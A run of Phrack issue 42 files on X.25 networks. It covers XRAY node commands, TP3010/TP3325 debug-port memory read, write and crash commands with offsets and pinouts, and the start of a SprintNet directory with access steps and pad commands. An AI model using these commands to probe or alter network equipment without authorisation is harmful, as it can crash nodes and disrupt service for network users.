0002 9D63 6175 7365 2049 206C 6566 7420 * cause I left * 6D79 7365 6C66 206C 6F67 6765 6420 696E *myself logged in* 2061 6E64 2077 656E 7420 686F 6D65 2E0D * and went home. * 6F70 7573 2520 0D0A 0D0A 0D0A 0D0A 0D0A *opus% * BS Display bufferlet use statistics This command shows the current and past usage of the memory allocated to data buffering. This shows total usage, total peak usage, and available buffer size. RB Read buffer This command displays the entire contents of the given buffer. This is a privileged command and its use is not primarily for user circuits. Primarily. >RB 69 50 61 72 74 79 20 6F 6E 20 64 75 64 65 21 21 21 WB Write buffer This command writes up to seven bytes into the specified buffer. The buffer must greater than 4. This is also a privileged command. CD Set/reset CRYPTO auto display mode CL Display CRYPTO log CM Display CRYPTO messages by type SM Enable/Disable CRYPTO messages by type CRYPTO messages are informational messages about the activity of the node. Up to 256 such entries are stored in a circular buffer to record this activity. You can turn on automatic reporting of these messages with the CD command prefixed with a 'Y' for on and 'N' for off. Certain message types that become bothersome can be disabled with the SM command and the message type. DB Begin delay measurement DD Display delay measurement statistics DE Terminate delay measurement DL Begin data loopback circuit These commands are used to build circuits for testing the speed and integrity of data flow between two nodes. The DL command is super privileged and only one such circuit can be built on a node at a given time. The data traffic generated by the DL is for diagnostic use only and can be monitored by viewing node and link statistics. PM Measure performance on a channel This command measures the performance of a given channel by inserting a timing sequence into the packet stream. Once it has reached the given channel it is returned and a value corresponding to the total time elapsed in milliseconds is displayed. If the channel is not active, or no response is returned in 8 seconds the message "BAD CHANNEL OR TIMEOUT" is displayed. LE Set local echo mode RE Set remote echo mode One would use the set local echo command if the XRAY terminal is not echoing commands typed by the user. By default, XRAY does not echo output. SUMMARY XRAY is pretty confusing. Be careful with what you are doing since you are essentially prodding around in the memory of the node. Think of it in terms of using a utility to poke and prod the memory of your own computer. Think of how disastrous a command written to the wrong portion of memory can be. Don't do anything stupid, or you might bring down a whole network, or at minimum lose your access. ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 7 of 14 USEFUL COMMANDS FOR THE TP3010 DEBUG PORT BY G. TENET ALL OF THE COMMANDS LISTED BELOW, INDICATE A LENGTH IN ALL THE READ COMMANDS. THE LENGTH OF THE READ COMMANDS MAY VARY DUE TO CONFIGURATION OPTIONS AND SOFTWARE VERSION. 1) L7FE,L,A,R200 THIS COMMAND STRING WILL LOAD '7FE' INTO THE MEMORY POINTER REGISTER THEN LOAD THE CONTENT OF '7FE' AND '7FF' INTO THE MEMORY POINTER REGISTER. THE 'A' THEN INCREMENTS THE CONTENTS OF THE MEMORY POINTER REGISTER. THE 'R200' COMMAND THEN READS 200 BYTES BEGINNING AT THE LOCATION SPECIFIED BY THE MEMORY POINTER REGISTER. THIS AREA IS USED FOR STORING THE LOADED CONFIGURATION. DUE TO THE VARIABLE NATURE OF THE CONFIGURATION RECORDS, THE READ COMMAND MAY HAVE TO BE MODIFIED DEPENDANT ON THE NUMBER OF LINES DEFINED, THE TYPE OF LINES DEFINED (X780,3270) AND THE TYPE OF SOFTWARE LOADED (4.2X OR 5.0X). 2) LC4,R3,LCC,R3 (4.2X SOFTWARE) L124,R3,L131,R3 (5.0X SOFTWARE) THIS COMMAND STRING WILL DISPLAY THE BUFFER MANAGER CONTROL BLOCK AREA WHICH HAS BUFFER COUNTS WHICH MAY SUGGEST POSSIBLE PROBLEMS. 3) L32C,R (4.2X SOFTWARE) L29C,R (5.0X SOFTWARE) THIS COMMAND STRING WILL DISPLAY THE NUMBER OF ACTIVE VC'S IN THE TP3 AT THAT MOMENT. IF THIS COMMAND IS USED VIA THE LOCAL CONSOLE, THE VC COUNT WILL NOT INCLUDE THE USER CONNECTION BECAUSE THERE WILL BE NO VC ON THE X.25 LINE FOR THE LOCAL CONSOLE. 4) L70,R60 THIS COMMAND STRING WILL DISPLAY THE LCB (LINE CONTROL BLOCK) POINTER FOR THE CONFIGURED LINES. THE ORDER THAT THE LCB POINTERS ARE ENTERED ARE: CONSOLE LCB, X.25 LCB, LINE 1, LINE 2, LINE 3...LINE27. ANY ZERO ENTRY IS AN UNCONFIGURED LINE EACH LINE ENTRY IS TWO BYTES LONG. 5) L300,L,R20 (4.2X SOFTWARE) L270,L,R20 (5.0X SOFTWARE) THIS COMMAND STRING WILL DISPLAY THE LCN VECTOR TABLE. THE ENTRIES ARE FOR EACH ACTIVE LCN BEGINNING WITH LCN 0 THRU THE HIGHEST CONFIGURED LCN. A 0000 ENTRY FOR AN LCN WILL INDICATE THAT THE LCN IS NOT ACTIVE. A NON ZERO ENTRY WILL POINT TO THE DCB (DEVICE CONTROL BLOCK) OF THE ASSOCIATED LINE/DEVICE. 6) L1F1,L,R20 (4.2X SOFTWARE ONLY) THIS COMMAND STRING WILL DISPLAY THE PROTOCOL ID TABLE FOR THE CONFIGURED/SUPPORTED PROTOCOLS. THE FORMAT OF THE OUTPUT IS: 999999999999... -- ---- ! -- ! ---- ! ! ! !...............POINTER TO THE SERVER TABLE ***** ! ! !...................POINTER TO THE PROTOCOL SERVICE ROUTINE ! !......................PROTOCOL ID NUMBER ! 01 =ITI (RITI AND LITI) ! 4B =X780 ! 47 =NAP 3270 ! 09 =DEBUG !........................NUMBER OF ENTRIES IN THIS TABLE 7) L(ADDRESS OF THE SERVER TABLE),R20 THE ADDRESS OF THE SERVER TABLE IS FOUND IN #6 (ABOVE) THIS COMMAND WILL DISPLAY THE SERVER TABLE IN THE FORMAT: 99999999... -- ---- ! -- !................ THIS IS THE ADDRESS OF THE FIRST FREE DCB ! ! IN THE FREE DCB LIST. IF 0000 THEN THERE ARE ! ! NO FREE DCB'S FOR THIS SERVER AND PROTOCOL. ! !.....................SERVER NUMBER !.......................NUMBER OF ENTRIES IN THIS TABLE THE POINTER IN THIS TABLE , IF PRESENT, WILL POINT TO THE NEXT AVAILABLE DCB. WITHIN THE DCB, THERE IS A POINTER AT DISPLACEMENT 18 AND 19 WHICH WILL POINT TO THE NEXT FREE DCB. THE LAST FREE DCB WILL HAVE A POINTER OF 0000. THE FOLLOWING COMMANDS ARE USED WITHIN THE TP3 DEBUG PORT TO PERFORM THE INDICATED ACTIONS. ONLY THE TP3325 WILL SUPPORT THE [# LPU NUMBER] OPTIONS. THE USE OF THE [# LPU NUMBER] OPTION IS ONLY REQUIRED IF YOU WISH TO ADDRESS A DIFFERENT LPU NUMBER; EXCEPT FOR THE 'S' COMMAND WITH WHICH THE LPU MUST BE DEFINED. A SPACE CHARACTER MAY BE INCLUDED IN THE COMMAND AND THE COMMANDS MAY BE STACKED (EXAMPLE: L7FE ,L,A,R5,L#2,L 7FE,L,A,R5,L#3 7FE,L,A,R 5). THE TP3325 COMMANDS THAT DO NOT USE THE 'LPU' PARAMETER USE THE LAST ASSIGNED LPU NUMBER. (EXAMPLE: L#27FE,R2,L#17FE,R4) THE FIRST LOAD COMMAND ADDRESSES LPU 2 AND THE NEXT LOAD COMMAND ADDRESSES LPU 1. THE READ OF TWO BYTES IS READING FROM LPU 2 AND THE READ OF FOUR BYTES IS READING FROM LPU 1. A VALUE INCREMENTS THE MEMORY ADDRESS POINTER. (EXAMPLE: A5 OR AFFE2 OR A#2EF) B VALUE USED TO ENTER OR EXIT BINARY MODE. (EXAMPLE: B01 OR B00) C [# LPU NUMBER] VALUE USED TO WARM OR COLD START A TP3325 LPU (EXAMPLE: C00 OR C#300) OR USED TO WARM OR COLD START OTHER TP3. (EXAMPLE: C01 OR C#201) D VALUE USED TO DECREMENT THE MEMORY POINTER. (EXAMPLE: D18 OR DFFE5 OR D#4IFF) E STRING USED TO CHECK FOR A EQUAL COMPARE OF MEMORY DATA. (EXAMPLE: E00 OR E0F0304 OR E#20000) F STRING USED TO FIND THE FIRST OCCURRENCE OF A STRING. (EXAMPLE: F0F0304 OR F08080202 OR F#308080404) G [# LPU NUMBER] VALUE USED TO FIND THE ADDRESS OF A CONFIGURATION FILE IN MEMORY. THE LPU DEFINITION IN THE COMMAND DOES NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT. (EXAMPLE: GFE OR G01 OR G#301) I [# LPU NUMBER] USED TO OBTAIN A LIST OF THE CONFIGURED LINE TYPES. (EXAMPLE: I OR I#3) K [# LPU NUMBER] [14 DIGIT ADDRESS] USED TO OBTAIN THE LCB, ADDRESS TABLE POINTERS AND LINE NUMBER ASSOCIATED WITH THE ADDRESS. (EXAMPLE: K31102120012301 OR K#2 311021250212) N STRING USED TO CHECK FOR AN NON EQUAL COMPARISON. (EXAMPLE: N0F0304 OR N08080202 OR N#1 0F) P [# LPU NUMBER] PORT NUMBER USED TO READ THE CONTENTS OF A SPECIFIC PORT REGISTER. (EXAMPLE: P45 OR P21 OR P#4 21) R VALUE USED TO READ MEMORY DATA. THE QUANTITY IS INDICATED BY THE 'VALUE'. (EXAMPLE: R18 OR R200) S [# LPU NUMBER] LINE NUMBER USED TO OBTAIN DATA SET SIGNALS FOR THE DEFINED LINE NUMBER. (EXAMPLE: S1 OR S#23 OR S) T (TP3325 ONLY) W STRING USED TO WRITE DATA INTO MEMORY. (EXAMPLE: W0E0304 OR W08080707) X [# LPU NUMBER] USED TO DISPLAY THE DIFFERENCE BETWEEN THE STORED CHECKSUM AND A CALCULATED CHECK SUM OF THE OPERATING SOFTWARE. THE LPU DEFINITION DOES NOT CHANGE THE LPU ASSIGNMENT IN THE DEBUG PORT. (EXAMPLE: X OR X#2) Y (TP3325 ONLY) RETURNS NCC LOAD ADDRESS FROM EPROM Z (TP3325 ONLY) CRASHES APB AND XPB. MAY HANG APB IF THE X.25 INTERFACE DOES NOT RESET. $ PORT A -- ENABLE AUTOCONNECT M -- DISABLE AUTOCONNECT B -- BUSY R -- RESET C -- CLEAR HARDWARE COMMANDS FOR THE TP3000 'P' COMMAND DISPLAYS THE STATUS OF A SPECIFIED PERIPHERAL INTERFACE DEVICE FOR THE CPU. FOLLOWING IS A LIST OF SOME OF THE MORE USEFUL ADDRESSES WHICH CAN BE BENEFICIAL IF TRYING TO RESEARCH A PROBLEM. THIS COMMAND IS A READ TO THE SPECIFIED DEVICE. DEPENDANT ON THE DEVICE BEING READ (THE ADDRESS), THE TP MAY CRASH. COMMAND INTERPRETATION ======= ============== TP3010 ------ P45 READ CONSOLE READ REGISTER (BIT 2 THRU 6 SHOW THE POSITION OF THE FRONT PANEL ROTARY SWITCH) BIT 0 = NOT TIMEOUT STATUS (SEE P47) BIT 1 = NOT PBRST STATE (SEE P47) BIT 2 = NOT RESTART BIT 3 = NOT MEMORY SAVE BIT 4 = NOT TAPE LOAD BIT 5 = NOT PROGRAM SAVE BIT 6 = NOT DIAGNOSTICS BIT 7 = NOT SYSTEM GOOD IF BIT 6 THRU BIT 2 ARE ALL SET (EQUAL TO 1) THEN THE FRONT PANEL SWITCH IS IN THE X.25 LOAD POSITION. P47 THIS COMMAND WILL CAUSE THE FRONT PANEL ALARM TO SOUND. P4D,P4D,P4D,P4D,P4D,P4D,P4D THE LAST RESPONSE WILL PROVIDE THE DOWN LINE LOAD EPROM REV. LEVEL FOR THE TP3010. EXAMPLE 43 = 'C' LEVEL TP3005 ------ P23 BIT 1 = 0 CONFIG MODE 1 RUN MODE 4.2X 5.XX COMMENTS ====== ====== =========================================== 70 70 LCB VECTOR TABLE 2 BYTES FOR EACH LINE IN THE TP. IF LINE IS NOT DEFINED , THEN ENTRY IS 0000. IF LINE IS DEFINED, THEN ADDRESS POINTS TO THE LCB (LINE CONTROL BLOCK) C0 120 BM CONTROL BLOCK C4 124 # CONTROL BUFFERS INITIALIZED C5 125 # CONTROL BUFFERS FREE C6 126 LOWEST # CONTROL BUFFERS (00 IS NONE LEFT) 12B POINTER TO THE CONTROL BUFFERS CC 131 # BLOCK BUFFERS INITIALIZED CD 132 # BLOCK BUFFERS FREE CE 133 LOWEST # BLOCK BUFFERS REACHED (00 IS NONE LEFT) 138 POINTER TO BLOCK BUFFERS 1F1 POINTER TO PROTOCOL ID TABLE 270 1F0 X.25 LCB 27E 27E # FRAMES DISCARDED 27F 27F # CRC ERRORS 280 280 # REJECTS SENT 281 281 # REJECTS RECEIVED 282 282 # T1 TIME OUTS 283 283 # COMMAND REJECTS SENT 284 284 # COMMAND REJECTS RECEIVED 285 285 # DISCONNECTS SENT 286 286 # DISCONNECTS RECEIVED 287 287 # SET MODE SENT 288 288 # SET MODE RECEIVED 289 289 # FRAME OVERFLOW RECEIVED 28A 28A # I FRAMES SENT 28B 28B # I FRAMES RECEIVED 2B0 230 DMA LCB 300 270 LCN VECTOR TABLE 29B MAX. # LCN'S 32C 29C # OF ACTIVE LCN'S 7FE 7FE POINTER TO THE END OF THE OPERATING SYSTEM. THE NEXT BYTE IS THE BEGINNING CONFIGURATION TABLES. 159 E9 TIME OF DAY CLOCK 159 E9 1/10 SECONDS 15A EA SECONDS 15B EB MIN. 15C EC HOURS 15D ED DAYS 15E EE DAYS DCB + 3 XX PACKET REC. STATUS BYTE#1 00 = READY 01 = DTE WAITING 02 = DCE WAITING 04 = DATA TRANSFER 08 = DTE CLEAR REQUEST SENT 10 = DCE CLEAR INDICATION 20 = DTE RESTART REQUEST 40 = DTE RESET REQUEST 80 = DCE RESET INDICATION DCB +18 XX POINTER TO NEXT FREE DCB VALID ONLY IF THIS IS A FREE DCB ITI SPECIFIC LCB INFORMATION LCB+27 PHYSICAL STATUS X'00' LINE DOWN/INACTIVE X'01' LINE HAS BEEN INACTIVATED X'02' LINE IS 'BUSY OUT' X'04' LINE IS BEING ACTIVATED X'08' LINE IS ACTIVE X'10' LINE IS BEING INACTIVATED LCB+28 TDT2 COMMAND BYTE BIT 0 = 1 BUSY LINE BIT 1 = 1 CLEAR LINE BIT 2 = 1 RESET LINE BIT 3 - 7 NOT USED LCB+5C # BUFFERS ALLOCATED TO THIS LINE LCB+5D DRIVER ERROR COUNTER LCB+5E NO BUFFER ERROR COUNTER LCB+5F FLOW CONTROL ERROR COUNTER LCB+60 PARITY ERROR COUNTER LCB+61 OVER-RUN ERROR COUNTER LCB+62 FRAMING ERROR COUNTER LCB+74 BREAK TIMER LCB+75 RING-OUT TIMER LCB+76 RING-OUT COUNTER DSP 3270 LCB SPECIFIC INFORMATION LCB+4F CURRENT NO. SYNC PAIRS INSERTIONS LCB+50 CURRENT NO. OF ERROR RETRIES LCB+51 CURRENT NO. OF NAK RETRIES LCB+52 CURRENT NO. OF ENQ RETRIES LCB+53 RECEIVE ACK COUNTER LCB+54 TRANSMIT ACK COUNTER LCB+55 CTS DROP-ERROR COUNTER LCB+56 DCD DROP-ERROR COUNTER LCB+5A CURRENT NO. WACK'S X780 LCB SPECIFIC INFORMATION LCB+4F CURRENT NO. OF SYNC PAIR INSERTIONS LCB+50 CURRENT NO. OF ERROR RETRIES LCB+51 CURRENT NO. OF NACK RETRIES LCB+52 CURRENT NO. OF ENQ RETRIES LCB+53 RECEIVE ACK COUNTER LCB+54 TRANSMIT ACK COUNTER LCB+55 CTS DROP-ERROR COUNTER LCB+56 DCD DROP-ERROR COUNTER COMMON DCB INFORMATION DCB+6 BITS 5-7 PACKET SEND SEQ. NO. P(S) DCB+7 BITS 5-7 PACKET REC. SEQ. NO. P(R) DCB+8 LCN # DCB+9 BITS 5-7 PACKET SEQ. NO. LAST CONFIRMED DCB+A BITS 5-7 PACKET SEQ. NO. LAST SENT TO NET DCB+B # PACKETS SENT DCB+D # PACKETS REC. DCB+F # RESETS SENT OR RECEIVED DCB+14 # BUFFERS IN HOLD QUEUE DCB+15 TIME VC WAS ESTABLISHED (SSMMHHDD) DCB+31 DESTINATION NETWORK ADDRESS THE FOLLOWING IS A DESCRIPTION OF THE TP3006 X.25 INTERFACE FROM THE SIO TO THE REAR PANEL CONNECTORS. SIO CHIP REAR PANEL CONNECTOR +--------------+ | | | DTRB |------------------->- DTR 20 | TXDB |------------------->- TXD 2 | RTSA |------------------->- LDL 13 | RTSB |------------------->- RTS 4 | DTRA |------------------->- LAL 19 | DCDA |---<-----------+--->- CTR 18 | | +---<- RLSD 8 | RXCA |--+ | RXCB |--+-------- ** ----<- RXC 17 | | +->- TXCE 24 | | ** --+->- RXCE 11 | TXCA |----+ | TXCB |----+------ ** ----<- TXC 15 | DCDB |----------- ** ----<- DSR 6 | CTSB |-------------------<- CTS 5 | RXDA |----+ | RXDB |----+--------------<- RXD 3 | CTSA |-------------------<- RI 22 | | +--------------+ < INBOUND SIGNAL > OUT BOUND SIGNAL IF DSR AND TXC, THEN USE EXTERNAL CLOCKING. IF DSR AND NO TXC, THEN USE INTERNAL CLOCKING DERIVED FROM THE CONFIGURED LINE SPEED PRODUCED FROM A CTC CHIP). IF THE CLOCKING IS PRODUCED INTERNALLY, THEN THE INTERNAL CLOCK IS ALSO PROVIDED ON PINS 11 AND 24 AT THE REAR PANEL. FOR THE TP3325, THE NETLINES ALWAYS USE THE EXTERNAL CLOCK SOURCE. THE HARDWARE WAS CHANGED DURING REFINEMENT OF THE MOD ONE XPB. IF THE ATTACHED DEVICE IS PROVIDING CLOCKING AND THE TP3025 IS PROVIDING CLOCKING, THE TP WILL DETECT THE CLOCKING AND WILL STOP CLOCKING. IN THE CASE OF THE TP3025 HAVING BEEN RESET AND LOADED, IF A TP3005/3006 IS THEN CONNECTED TO THE INTERFACE, THERE IS A RACE CONDITION WHERE THE DEVICE THAT PROVIDES THE CLOCKING IS ARBITRARY. THE HARDWARE LOGIC REQUIRES A RESET TO OCCUR FOR THE TP3025 TO CHANGE PRIOR SELECTION OF 1) INTERNAL/EXTERNAL CLOCKING AND 2) V35/RS232 INTERFACE AFTER A LOAD. THE DEBUG PORT "S" COMMAND WILL RETURN ONE HEX BYTE THAT REPRESENTS THE DATA SET SIGNALS STATUS AT THE SIO CHIP FOR THE DEFINED LINE (E.G. "S2" WILL RETURN THE DATA SET SIGNALS ON LINE 2). THE UPPER HALF OF THE BYTE IS USED TO REPRESENT THE DATA SET SIGNAL STATUS. BIT 7 6 5 4 3 2 1 0 | | | | ========== | | | | NOT USED | | | | DSR AT THE REAR ---+ | | +--- RTS AT THE REAR PANEL. DTR AT THE REAR -----+ +------ CTS AT THE REAR PANEL. THE FOLLOWING IS A DESCRIPTION OF THE DEVICE INTERFACE FOR THE SIO TO THE REAR PANEL. SIO CHIP REAR PANEL INTERFACE +--------------+ | | | RXD | ------------------------< 2 TD | TXD | ------------------------> 3 RD | DCD | -<-----------+----------< 4 RTS | | +----------> 5 CTS | DTR | ------------------------> 6 DSR | RTS | ------------------------> 8 DCD | RXC | -<--------- ** ---------< 11 | | PIO DSR -- ** ---------< 20 DTR | | -- ** ---------> 15 TC | | -- ** --------> 17 RC | TXC | -<--------- ** ---------< 24 TC | CTS | -<----------------------< 18 | | | | PIO -----------------< 25 | | PIO -----------------> 22 | | +--------------+ WITH DTR TRUE ( PIN 20), RXC (PIN 11) IS CHECKED FOR AN INBOUND CLOCK SIGNAL. IF THERE IS A CLOCK SIGNAL, THEN THE SIO IS CLOCKED EXTERNALLY FROM PIN 11 AND 24. IF THERE IS NO CLOCK ON PIN 11 THEN AN INTERNAL CLOCK SOURCE IS GATED TO THE SIO AND TO PIN 15 AND 17 ON THE REAR PANEL INTERFACE. THE OUTPUT OF THE DEBUG PORT 'S' COMMAND DISPLAYS ONE HEX BYTE THAT IS A COMPOSITE OF THE DATA SET SIGNALS FROM THE PIO AND SIO CHIPS. THE OUTPUT BIT DEFINITIONS ARE THE SAME AS THE X.25 LINE BUT A NOTE NEEDS TO MADE THAT THE X.25 IS A DTE INTERFACE AND THE DEVICE LINES ARE A DCE INTERFACE. THE UTILIZATION OF THE INBOUND RTS/CTS MAY NOT BE REQUIRED FOR THE TP TO MAINTAIN THE INTERFACE. PINS 22 AND 25 ARE PAD DEPENDANT SO THEY MAY BE USED FOR DIFFERENT FUNCTIONS THAN THOSE EXPECTED. ALL NUMERIC VALUES ARE IN HEX. COMMAND STRINGS CAN BE USED WHILE IN THE DEBUG PORT. ==============================================================< | XCB DIRECTORY TABLE (two bytes per entry) > | DEBUG |LOGGER| X.25 #0 | X.25 #1 | X.25 #2 | X.25 #3|....... L70,R24 | DCB | DCB | XCB | XCB | XCB | XCB | > |===============================================================> | | | | | | XCB#0 XCB#1 | XCB#2 XCB#3 | XCB#4 XCB#5 | | | | | | +->>---------------->>-+ | | +>>+ | | | | | | | | | +<<----------------<<-+ L76,R2 | | L7A,R2 | | | | | | L74,L,R80 | +<<---+ L78,L,R80 | | | | | +------------->>--------------> | +--------->>-------------> | | XCB >> > | | XCB >> > | +------------->>--------------> | +--------->>-------------> | | XCB+2D | | XCB+2D | | +>>+ | | +-<<---------------+ | +-<<-------------+ | | | | | | L(XCB+2D),L,R((MAX.LCN*3)+3) | | L(XCB+2D),L,R((MAX.LCN*3)+3) | | | | | +------------------>>--------> | +------------------>>--------> | | LCN VECTOR TABLE >> ABCCDD > | | LCN VECTOR TABLE >> ABCCDD > B |3 BYTES PER ENTRY >> ====== > B |3 BYTES PER ENTRY >> ====== > | +------------------>>--------> | +------------------>>--------> | | | | +--CC->> TRUNK LCNS -----> | +--CC->> CONCENTRATOR LCNS | | |LCN0 |LCN1 |... | | |LCN0 |LCN1 |... | | +--->>--+ | | | | THREE BYTE LCN ENTRY ==> AB CC DD | | = == == | | | | | | | XCB NUMBER ----+ | | | | LCN NUMBER ------+ +---- LCN TIMER | | | | | +-<<-----------------------------------------------------<<-------+ ** CC IS THE LCN NUMBER IN XCB B. B IN XCB #0 WILL POINT TO == = = XCB #4 IN THIS EXAMPLE. CC IN XCB #0 WILL GIVE THE LCN NUMBER USED IN == THE LCN VECTOR TABLES FOR XCB #4. 1) XCB OFFSETS DEFINITION XCB + 09 CONTROL DATA SET SIGNAL STATUS BIT 4 = 1 RTS HIGH 5 = 1 CTS HIGH 6 = 1 DTR HIGH 7 = 1 DSR HIGH THE S COMMAND RETRIEVES THIS LOC. XCB + 0B POINTER TO LINE CONFIGURATION RECORD. XCB + 0E NUMBER OF FRAMES DISCARDED. XCB + 0F NUMBER OF CRC ERRORS XCB + 10 NUMBER OF REJECTS SENT XCB + 11 NUMBER OF REJECTS RECEIVED XCB + 12 NUMBER OF T1 TIMEOUT XCB + 13 NUMBER OF COMMAND REJECTS SENT XCB + 14 NUMBER OF COMMAND REJECTS RECEIVED XCB + 15 NUMBER OF DISCONNECTS SENT XCB + 16 NUMBER OF DISCONNECTS RECEIVED XCB + 17 NUMBER OF SET MODE SENT XCB + 18 NUMBER OF SET MODE RECEIVED XCB + 19 NUMBER OF FRAME OVERFLOW XCB + 1A NUMBER OF I FRAMES SENT XCB + 1C NUMBER OF I FRAMES RECEIVED XCB + 24 FLAG BYTE BIT 0 = 1 DCE-TO-DTE FLOW INIT 1 = 1 DTE-TO-DCE FLOW INIT 2 = 1 LINK RESET (DISC. OR SETMODE SENT 3 = 1 DCE BUSY ( RNR SENT) 4 = 1 IN TIMER RECOVERY 5 = 1 SENT INTERNAL RESET. LAP RE-INIT. 6 = 1 SET POLL BIT IN NEXT FRAME. XCB + 27 LINE STATUS BIT 0 = 1 NOT ACTIVE 1 = 1 DEACTIVATED 2 = 1 BUSY-OUT 3 = 1 ACTIVATING 4 = 1 ACTIVE 5 = 1 DEACTIVATING XCB + 2B MAX. LCN PERMITTED XCB + 2C CURRENT NUMBER OF LCN IN USE XCB + 2D POINTER TO THE LCN VECTOR TABLE XCB + 47 'DISABLE/ ENABLE/ CLEAR COMMAND. NOT OPERATIONAL AT VERSION 1.01. 01 - BUSY 02 - CLEAR BUSY 04 - RESET LINE 2) LCN VECTOR TABLE. ( XCB + 2D ,L,A (LCN ADDRESS),R3) LCN ADDRESS = (LCN * 3) LCN + 0 BITS 0-3 - XCB DIRECTORY NUMBER. 4 - INIT CLEAR TIMER ON 5 - CLEAR INDICATION SENT 6 - CALL REQUEST SENT 7 - LCN ACTIVE LCN + 1 LCN NUMBER (SEE LCN + 0 , BITS 0-3 TO GET XCB NUMBER) LCN + 2 TIMER FOR LCN. ----------------------------------- ==Phrack Magazine== Volume Four, Issue Forty-Two, File 8 of 14 The SprintNet/Telenet Directory === ======= =========== =============== ---------------------=========== ------------------============= ---------------================= ------------=================== =============== =========== ======= === Scanned and written by Skylar Release date: 12/92 Part I Basic SprintNet Info Part II SprintNet Directory How to Access SprintNet: ~~~~~~~~~~~~~~~~~~~~~~~~ (Compliments of Sprint) SPRINTNET LOCAL ACCESS NUMBERS FOR THE MOST UP-TO-DATE LISTING OF THE U.S. ACCESS TELEPHONE NUMBERS FOR PC OUTDIAL SERVICES, DO THE FOLLOWING: 1. USE A MODEM TO DIAL 1-800-546-1000 WITH PARAMETERS SET AT 7-E-1 2. TYPE THREE CARRIAGE RETURNS (CR) (CR) (CR) 3. INPUT YOUR AREA CODE AND LOCAL EXCHANGE 4. YOU WILL THEN RECEIVE THE PROMPT SIGN "@" 5. THEN, TYPE: MAIL (CR) USER NAME: PHONES (CR) PASSWORD: PHONES (CR) Follow the menus to get your local dialup, then logon through that using the same procedure until you get to the "@" prompt. From here, you can type in commands. Below is a list of commands available from the "@" prompt. Notes: while connected, you can escape to the command prompt by sending @ while waiting for a connection, you can escape to the command prompt by sending a hard BREAK Command Explanation BYE Closes session (same as disconnect) CONNECT Connects to a network user address CONTINUE Continue session (used after breaking) DISCONNECT Closes session (same as bye) DTAPE Builds optimum circuit for bulk file transfer DISABLE ECHO DISABLE FLOW Pad to host flow control DISABLE TFLOW Terminal to pad flow control ENABLE ECHO ENABLE FLOW ENABLE TFLOW FULL Set full duplex HALF Set half duplex HANGUP Self explanitory ID Sets the network user id for charged calls RESET Resets your port (as if you just dialed up) RST Show remote parameters RST? Set remote parameters PAR? Show ITI parameters STATUS Shows your current network address and port SET? : Set ITI parameters. TERM Set your termtype TEST CHAR Test of all ascii characters TEST ECHO Echos what you type TEST TRIANGLE TEST VERSION Shows current pad software ver Note: I didn't include any of the parameters for SET? or termtypes because they would have increased the length of this file by about 20%. If you want these, you can get them from the PC-PURSUIT BBS file section via C PURSUIT from SprintNet or 031109090063100 international. Network Messages: ~~~~~~~~~~~~~~~~~ While attempting to CONNECT to addresses on SprintNet, you may run into various messages from the network. This should help you determine what they mean. If you are connected and break your connection or are disconnected by the remote host, you will recieve a disconnect message. Below is a breakdown of the message. DISCONNECTED 00 00 00:00:00:00 000 00 ^ ^ ^_________^ ^ ^ | | | | | | | | | +-- Packets sent | | | +----- Packets recieved | | +------------- Days:Hours:Minutes:Seconds connected | +--------------------- Clearing diagnostic code +------------------------ Clearing cause code If you are unable to make a connection or abort an attempted connection, you will only receive cause and diagnostic codes (as no time was spent connected and obviously no packets were sent!) along with a very general plain-text of what the problem might be (i.e. rejecting, not operating...). Below is a list of cause and diagnostic codes to give you a more detailed idea of why you were unable to connect or why you were disconnected. Clear cause codes: 0 "DTE originated clear" 1 "Number busy" 3 "Invalid facility requested" 5 "Network congestion" 9 "Out of Order" 11 "Access barred" 13 "Not obtainable" 17 "Remote Procedure Error" 19 "Local Procedure error" 21 "RPOA out of order" 25 "Reverse Charge not Subscribed to" 33 "Incompatible destination" 41 "Fast Select acceptance not subscribed" 49 "Ship absent" 128 "DTE originated clear with top bit set" 193 "Gateway procedural error" 195 "Gateway congestion" 199 "Gateway Operational" Clear diagnostic codes 0 "No additional Information" 1 "Invalid Ps" 2 "Invalid Pr" 16 "Packet Type Invalid" 17 "Packet Type Invalid in state r1" 18 "Packet Type Invalid in state r2" 19 "Packet Type Invalid in state r3" 20 "Packet Type Invalid in state p1" 21 "Packet Type Invalid in state p2" 22 "Packet Type Invalid in state p3" 23 "Packet Type Invalid in state p4" 24 "Packet Type Invalid in state p5" 25 "Packet Type Invalid in state p6" 26 "Packet Type Invalid in state p7" 27 "Packet Type Invalid in state d1" 28 "Packet Type Invalid in state d2" 29 "Packet Type Invalid in state d3" 32 "Packet not allowed" 33 "Packet Type Unidentifiable" 34 "Call on One way LC" 35 "Invalid PVC packet type" 36 "Packet on Unassigned logical channel" 37 "Reject not Subscribed to" 38 "Packet too short" 39 "Packet too long" 40 "Invalid GFI" 41 "Restart/Registration Packet has LC" 42 "Packet type not compatible with Facility" 43 "Unauthorised Interrupt Confirmation" 44 "Unauthorised Interrupt" 45 "Unauthorised Reject" 48 "Timer expired" 49 "Timer expired for Incoming call" 50 "Timer expired for clear Indication" 51 "Timer expired for reset indication" 52 "Timer expired for restart indication" 53 "Timer expired for call forwarding" 64 "Call set up/clear/registration problem" 65 "Facility/registration code not allowed" 66 "Facility parameter not allowed" 67 "Invalid Called Address" 68 "Invalid calling address" 69 "Invalid facility registration length" 70 "Incoming call barred" 71 "No logical channel available" 72 "Call Collision" 73 "Duplicate facility ested" 74 "Non zero address length" 75 "Non zero facility length" 76 "Facility not provided when expected" 77 "Invalid CCITT spec'd facility" 78 "Maximum call redirections/forwardings exceeded" 80 "Miscellaneous" 81 "Improper cause code from DTE" 82 "Non alligned octet" 83 "Inconsistent Q bit setting" 84 "NUI Related problem" 96 "International setup/clearing problem" 97 "Unknown calling DNIC " 98 "TNIC mismatch " 99 "Call identifier mismatch" 100 "Neg' error in utility parm' value" 101 "Invalid utility length " 102 "Non-zero utility length " 103 "M bit violation " 112 "International problem " 113 "Remote Network problem " 114 "International Protocol problem " 115 "International Link out of order " 116 "International Link busy" 117 "Transit Network Facility Problem" 118 "Remote Network Facility Problem" 119 "International routing problem" 120 "Temporary routing problem" 121 "Unknown called DNIC" 122 "MAintenance action" 128 "Network Specific Diagnostic" 218 "trax_trap error for user call" 219 "user task error" 220 "x25 task error" Note: If you're getting LOCAL/REMOTE PROCEDURE ERROR or REJECTING, try using different ports with the same address. Other Than SprintNet: ~~~~~~~~~~~~~~~~~~~~~ International or other than SprintNet users, follow the table below to expand these addresses to suit your network: 202 224 <--- Address from list 031102020022400 <--- Translated to international format 03110 202 00224 00 